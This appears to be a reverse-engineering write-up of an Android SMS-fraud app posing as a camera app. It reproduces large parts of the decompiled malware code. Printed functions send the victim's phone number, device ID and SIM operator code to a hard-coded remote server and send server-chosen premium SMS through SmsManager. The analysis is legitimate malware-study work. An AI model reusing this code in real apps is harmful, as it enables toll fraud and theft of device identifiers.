Purpose

The target of this exercise is to reverse engineering the application to check if it has send SMS fruds activity.

Start

Firstly, for effective Reverse engineering, we must not dive in and read the code line by lines. Since we are targeting if the application sends frud SMS, we should look for the Send SMS functions.

Have some research we found that, SmsManager is the standard API provided by Android for sending SMS messages, it allows to send text messages without user interaction.

SMS Manager API

  • sendTextMessage()
  • sendMultipartTextMessage()
  • SendDataMessage()

The thing caught my eye is the URL in the BootService

It listen for broadcast receiver, and if the action of is equal to SENT_HUGE_SMS_ACTION it will actually load a intent of ACTION_START and send the broadcast.

    @Override // android.content.BroadcastReceiver
public void onReceive(Context context, Intent intent) {
String action = intent.getAction();
if ("SENT_HUGE_SMS_ACTION".equals(action)) {
switch (getResultCode()) {
case -1:
BootService.this.sendmessageStatus(AppEventsConstants.EVENT_PARAM_VALUE_YES);
Intent start_intent = new Intent(Loading.ACTION_START);
context.sendBroadcast(start_intent);
return;
case 0:
default:
BootService.this.sendmessageStatus(AppEventsConstants.EVENT_PARAM_VALUE_NO);
return;
case 1:
BootService.this.sendmessageStatus("2");
return;
case 2:
BootService.this.sendmessageStatus("4");
return;
case 3:
BootService.this.sendmessageStatus("5");
return;
case 4:
BootService.this.sendmessageStatus("3");
return;
}
}
}
}

The above code also states about the sendmessageStatus appear in the same file.

It gets the phone particular and send along with the SMS status with POST request to http://139.59.107.168:8088

    private String getPhoneNumber() {
TelephonyManager mTelephonyMgr = (TelephonyManager) getSystemService("phone");
return mTelephonyMgr.getLine1Number();
}

public void sendmessageStatus(String status) {
if (TextUtils.isEmpty(this.phone)) {
this.phone = getPhoneNumber();
}
String device = getDeviceId();
try {
String spec = "http://139.59.107.168:8088/smspostback?phone=" + this.phone + "&status=" + status + "&diviceid=" + device;
URL url = new URL(spec);
HttpURLConnection urlConnection = (HttpURLConnection) url.openConnection();
urlConnection.setRequestMethod("POST");
urlConnection.setReadTimeout(5000);
urlConnection.setConnectTimeout(5000);
urlConnection.setDoOutput(true);
urlConnection.setDoInput(true);
if (urlConnection.getResponseCode() == 200) {
Log.e(GraphResponse.SUCCESS_KEY, GraphResponse.SUCCESS_KEY);
} else {
Log.e("error", "error");
}
} catch (Exception e) {
e.printStackTrace();
}
}

private String getDeviceId() {
TelephonyManager TelephonyMgr = (TelephonyManager) getSystemService("phone");
return TelephonyMgr.getDeviceId();
}
}

The intent "SENT_HUGE_SMS_ACTION is very suspicious, we can have a search on the string.

It appear in the .com.cp.camera.loading.

The method name is called sendMessage.

It initialized a bundle object.

Bundle is a key-value store for passing data between Android components.

it then map the key FirebaseAnalytics.Param.ITEM_NAME to string SEND_SMS

next it created a new Intent called SENT_HUGE_SMS_ACTION and put the bundle as a parameter into the intent.

Next it created a smsManager instance.

PendingIntent sentintent = PendingIntent.getBroadcast(this, 0, itSend, 134217728);

This is a static method call to PendingIntent.getBroadcast() which returns a PendingIntent that will perform a broadcast.

The 4 parameter, this refer to the current context, 0 is a request code, its usually set to 0 because it’s not used for broadcast PendingIntent, the third paramter itsend is obviously the intent to be broadcast which the action is SEND_HUGE_SMS_ACTION. Lastly, the last parameter control how the methods behave, in this case, 134217728 corresponds to the flag PendingIntent.FLAG_UPDATE_CURRENT which update the existing PendingIntent if it already exists, otherwise creates a new one.

FLAG_UPDATE_CURRENT

public void sendMessage(String mobile, String content) {
Bundle bundle = new Bundle();
bundle.putString(FirebaseAnalytics.Param.ITEM_NAME, "SEND_SMS");
this.mFirebaseAnalytics.logEvent(FirebaseAnalytics.Event.SELECT_CONTENT, bundle);
Intent itSend = new Intent("SENT_HUGE_SMS_ACTION");
itSend.putExtras(bundle);
SmsManager sms = SmsManager.getDefault();
PendingIntent sentintent = PendingIntent.getBroadcast(this, 0, itSend, 134217728);
try {
if (content.length() > 70) {
List<String> msgs = sms.divideMessage(content);
for (String msg : msgs) {
sms.sendTextMessage(mobile, null, msg, sentintent, null);
}
return;
}
sms.sendTextMessage(mobile, null, content, sentintent, null);
} catch (Exception e) {
SharedPreferences sharedPreferences = getSharedPreferences("videoLibrary", 0);
SharedPreferences.Editor editor = sharedPreferences.edit();
editor.putString("videoShare", AppEventsConstants.EVENT_PARAM_VALUE_NO);
editor.apply();
e.printStackTrace();
}
}

After that, I guess its checking the content length of the message, if the content length is more than 70, it actually call the method sms.divideMessage to divide the sms into multiple SMS. and Send one by one. The reason being SMS messages are limited to 70 character in UC-2 encoding.

try {
if (content.length() > 70) {
List<String> msgs = sms.divideMessage(content);
for (String msg : msgs) {
sms.sendTextMessage(mobile, null, msg, sentintent, null);
}
return;
}
sms.sendTextMessage(mobile, null, content, sentintent, null);

This is my first time encounter the sms.sendTextMessage

public void sendTextMessage (String destinationAddress, 
String scAddress,
String text,
PendingIntent sentIntent,
PendingIntent deliveryIntent)

sms.sendTextMessage(mobile, null, msg, sentintent, null);

  • destination Address - The address the message to; In this case is the mobile number
  • scAddress - the Service center address or null to use the current default SMSC
  • text - The body of the message
  • sentIntent - the intent to handle the result of sending the message, such as whether it was successfully sent or not .

Good now we know what sendMessage do (Actually can tell by the name, but for the sake of study).

Next, we can look for which methods or class called this sendMessage.

It appear in the same file

public void onClick(View v) {
if (Build.VERSION.SDK_INT < 23) {
if (Loading.this.service != null && Loading.this.content != null) {
Loading.this.sendMessage(Loading.this.service, Loading.this.content);
return;
}
return;
}
int checkCallPhonePermission = ContextCompat.checkSelfPermission(Loading.this.getApplicationContext(), "android.permission.SEND_SMS");
if (Loading.this.videoShare.equals(AppEventsConstants.EVENT_PARAM_VALUE_YES) && checkCallPhonePermission == 0) {
if (Loading.this.service != null && Loading.this.content != null) {
Loading.this.sendMessage(Loading.this.service, Loading.this.content);
return;
}
return;

It firstly check if the version is less than 23, if less than 23, it will directly called the method Loading.this.sendMessage(Loading.this.service, Loading.this.content);.

According to what we have analysis just now, the first parameter is the number, second parameter is the message body.

The name seems funny, but its alright, will come back to this later, if the version is more than 23, it will check if the application have the permission of "android.permission.SEND_SMS"

Android runtime permission

The above link states that if the android SDK version is 23 (Android 6.0) and above it need to request for runtime permission.

Ok back to the topic, the code below will check if run time permission is granted, and send the message.

So now, what is this.service and this.content, this is our main focus, where the message is beings sent to and what is the content.

protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_mainfir);
this.ms_show = (TextView) findViewById(R.id.ms_show);
this.mReceiver = new StartActivityReceiver();
registerReceiver(this.mReceiver, new IntentFilter(ACTION_START));
TelephonyManager telManager = (TelephonyManager) getSystemService("phone");
String operator = telManager.getSimOperator();
this.button_sensms = (Button) findViewById(R.id.button_sensms);
if (Build.VERSION.SDK_INT > 9) {
StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder().permitAll().build();
StrictMode.setThreadPolicy(policy);
}
Intent service_intent = new Intent(this, BootService.class);
startService(service_intent);
String jsonStr = loginByPost(operator);
try {
JSONObject object = new JSONObject(jsonStr);
this.content = object.getString("content");
this.rule = object.getString("rule");
this.service = object.getString("service");
this.status = object.getString("code");
this.button = object.getString("button");
this.IMEIS = object.getString("imei");
this.imeicontent = object.getString("imeicontent");
} catch (JSONException e) {
e.printStackTrace();
}
if (this.rule != null) {
this.ms_show.setText(this.rule);
}
if (this.button != null) {
this.button_sensms.setText(this.button);
}
if (operator != null && this.imeicontent != null && !this.imeicontent.equals("")) {
String[] imeicontents = this.imeicontent.split(",");
int i = 0;
while (true) {
if (i >= imeicontents.length) {
break;
}
String[] imei = imeicontents[i].split(":");
if (!operator.equals(imei[0])) {
i++;
} else {
this.shareSend = 1;
this.service = imei[1];
this.content = imei[2];
break;
}
}
}

Above file is written onCreate method in the same file.

this.service = object.getString("service");

We can see that this.service is get through the object.

JSONObject object = new JSONObject(jsonStr);

The object is a JSON object by jsonStr

String jsonStr = loginByPost(operator);

The jsonStr comes from the function loginByPost with parameter operator.

String operator = telManager.getSimOperator();

The operator is the value of telManager.getSimOperator()

Very interesting, this getSimOpertor retrieves the MCC+MNC(Mobile Country Code + Mobile NetWork Code) of the active SIM card as a string.

Let’s have a example for Singapore, the MMC (Mobile Country Code) is 525, the MNC (Mobile Network Code) depends on the mobile network operator.

  • Singtel MNC - 01
  • StarHub MNC - 05
  • M1 MNC - 03

So if we are using Singtel SIMCard, the value return will be 52501

Cool!

Let’s examine the loginByPost method.

public String loginByPost(String code) {
String str = Build.VERSION.RELEASE;
String str2 = Build.MODEL;
getPhoneNumber();
getDeviceId();
try {
String spec = "http://139.59.107.168:8088/appsharejson?code=" + code;
URL url = new URL(spec);
HttpURLConnection urlConnection = (HttpURLConnection) url.openConnection();
urlConnection.setRequestMethod("POST");
urlConnection.setReadTimeout(5000);
urlConnection.setConnectTimeout(5000);
urlConnection.setDoOutput(true);
urlConnection.setDoInput(true);
if (urlConnection.getResponseCode() == 200) {
InputStream is = urlConnection.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
while (true) {
int len = is.read(buffer);
if (len != -1) {
baos.write(buffer, 0, len);
} else {
is.close();
baos.close();
return new String(baos.toByteArray());
}
}
} else {
return "error";
}
} catch (Exception e) {
e.printStackTrace();
return "error";
}
}

It sends the MMC+MNC string to the target server with a POST request

String spec = "http://139.59.107.168:8088/appsharejson?code=" + code;
URL url = new URL(spec);
HttpURLConnection urlConnection = (HttpURLConnection) url.openConnection();
urlConnection.setRequestMethod("POST");
urlConnection.setReadTimeout(5000);
urlConnection.setConnectTimeout(5000);
urlConnection.setDoOutput(true);
urlConnection.setDoInput(true);

Next, it check if the request status code is 200, then it read the response content into buffer and return it as a string.

So we can safely conclude that the the the user’s MNC+MMC is being sent to the target server, then the target server returns a json contains the follow values:

this.content = object.getString("content");
this.rule = object.getString("rule");
this.service = object.getString("service");
this.status = object.getString("code");
this.button = object.getString("button");
this.IMEIS = object.getString("imei");
this.imeicontent = object.getString("imeicontent");

Now, let’s determine how the Send SMS frud is being triggered, we can search by the usage of the sendMessage method

@Override // android.app.Activity
public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
if (requestCode == 1 && grantResults[0] == 0) {
if (this.service != null && this.content != null) {
sendMessage(this.service, this.content);
return;
}
return;
}
Toast.makeText(this, "Please allow access!", 1).show();
}

This piece of code is previously we are talking about the requesting the runtime permission, it requests for the runtime permission, as long as it gets the permission, it will actually call the sendMessage method.

          findViewById(R.id.button_sensms).setOnClickListener(new View.OnClickListener() { // from class: com.cp.camera.Loading.1
@Override // android.view.View.OnClickListener
public void onClick(View v) {
if (Build.VERSION.SDK_INT < 23) {
if (Loading.this.service != null && Loading.this.content != null) {
Loading.this.sendMessage(Loading.this.service, Loading.this.content);
return;
}
return;
}
..................................

Coming back to this code, it actually is a onClick method, which requires user interaction. Looking at the findViewById(R.id.button_sensms seems the button to click. Follow up with the button_sensms

It seems the text is based on the previous server response too. Weird.

Alright anyway the full picture of this malware should be. When the application is started, it will send the victim’s SIM Card details to the remote server, remote server may depends on the victim SIM Card details providing different set of numbers? (Maybe targeting different country) or texts. Then it request for user runtime permission to allow send SMS.